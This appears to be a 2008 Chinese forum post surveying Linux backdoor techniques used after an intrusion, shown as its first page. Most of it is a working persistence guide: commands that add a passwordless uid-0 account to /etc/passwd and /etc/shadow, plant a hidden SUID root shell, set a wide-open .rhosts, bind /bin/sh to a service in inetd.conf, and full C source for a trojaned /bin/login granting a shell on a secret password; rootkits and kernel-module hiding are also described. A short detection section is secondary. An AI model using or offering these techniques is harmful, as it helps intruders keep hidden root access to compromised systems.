强壮的空气 發表於 2008-10-8 19:38:35

浅析Linux系统后门技术和实践方法

后门简介

入侵者完全控制系统后,为方便下次进入而采用的一种技术。<br />

一般通过修改系统配置文件和安装第三方后门工具来实现。<br />

具有隐蔽性,能绕开系统日志,不易被系管理员发现等特点。

常用后门技术

增加超级用户账号<br />

破解/嗅探用户密码<br />

放置SUID Shell<br />

rhosts      <br />

利用系统服务程序<br />

TCP/UDP/ICMP Shell<br />

Crontab定时任务<br />

共享库文件<br />

工具包rootkit<br />

可装载内核模块(LKM)

增加超级用户

# echo &quot;e4gle:x:0:0::/:/bin/sh&quot; &gt;&gt;<br />

/etc/passwd<br />

# echo &quot;e4gle::-1:-1:-1:-1:-1:-1:500&quot; &gt;&gt;<br />

/etc/shadow<br />

如果系统不允许uid=0的用户远程登录,<br />

还需要增加一个普通用户账号。

破解/嗅探用户密码

获得shadow文件后,用John the Ripper<br />

工具破解薄弱的用户密码。<br />

安装sniffit等嗅探工具,监听telnet、ftp等<br />

端口,收集用户密码。

放置SUID Shell

# cp /bin/bash /dev/.rootshell<br />

# chmod u s /dev/.rootshell<br />

普通用户在本机运行/dev/.rootshell,即<br />

可获得一个root权限的shell。

rhosts      

# echo &quot;   &quot; &gt; /.rhosts<br />

# rsh -l root victim.com csh -i<br />

远程可以得到一个rootshell。

利用系统服务程序

修改/etc/inetd.conf,<br />

daytime stream tcp nowait /bin/sh sh -I<br />

用trojan程序替换in.telnetd、in.rexecd等<br />

inted的服务程序<br />

重定向login程序

TCP/UDP/ICMP Shell

BindShell,大部分是基于TCP/UDP协议<br />

的网络服务程序,在高端口监听,很容易<br />

被发现。<br />

Ping Backdoor,通过ICMP包激活后门,<br />

形成一个Shell通道。<br />

TCP ACK数据包后门,能够穿越防火<br />

墙。

Crontab定时任务

通过Crontab程序调度已安装的后门程序<br />

定时运行,一般在深夜时段,是系统管理<br />

员不在线的时间。

共享库文件

在共享库中嵌入后门函数<br />

使用后门口令激活Shell,获得权限<br />

能够躲避系统管理员对二进制文件本身的<br />

校验

工具包rootkit

包含一系列系统及后门工具:<br />

- 清除日志中的登录记录<br />

- 伪装校验和<br />

- 替换netstat、ps等网络工具<br />

- 后门登录程序<br />

易于安装和使用

可装载内核模块(LKM)

LKM:Loadable Kernel Modules<br />

动态的加载,不需要重新编译内核。<br />

截获系统调用,具有隐藏目录、文件、进<br />

程、网络连接等强大功能。<br />

自身隐蔽性好,发现难度较大。<br />

著名的LKM包有adore和knark。

后门的检测

以自己的经验,结合特定的工具,手工作<br />

一些检测。<br />

使用Tripwire或md5校验来检查系统。<br />

借助IDS系统,监听到目标机器的可疑网<br />

络连接。

实例:login后门

入侵者先把原始的/bin/login备份,再用一<br />

段程序替换/bin/login。入侵者telnet登录<br />

进来的时候,通过环境变量或者终端类型<br />

传递了正确的后门密码,将直接获得一个<br />

Shell;如果是普通用户登录,将会重定<br />

向到原始的login文件,来处理正常的登<br />

录。<br />

最简单的login后门ulogin.c源代码如下:

实例:login后门

#include &lt;stdio.h&gt;<br />

#define PASSWORD &quot;passWORD&quot;<br />

#define _PATH_LOGIN &quot;/sbin/logins&quot;

main (argc, argv, envp)<br />

int argc;<br />

char **argv, **envp;<br />

{<br />

         char *display = getenv(&quot;DISPLAY&quot;);<br />

         if ( display == NULL ) {<br />

                        execve(_PATH_LOGIN, argv, envp);<br />

                        perror(_PATH_LOGIN);<br />

                        exit(1);<br />

         }<br />

         if (!strcmp(display,PASSWORD)) {<br />

                        system(&quot;/bin/csh&quot;);<br />

                        exit(1);<br />

         }<br />

         execve(_PATH_LOGIN, argv, envp);<br />

         exit(1);<br />

}

<br />










                                                <div class="cupage">上一页<strong>1</strong>2 下一页 阅读全文</div>
頁: [1]
查看完整版本: 浅析Linux系统后门技术和实践方法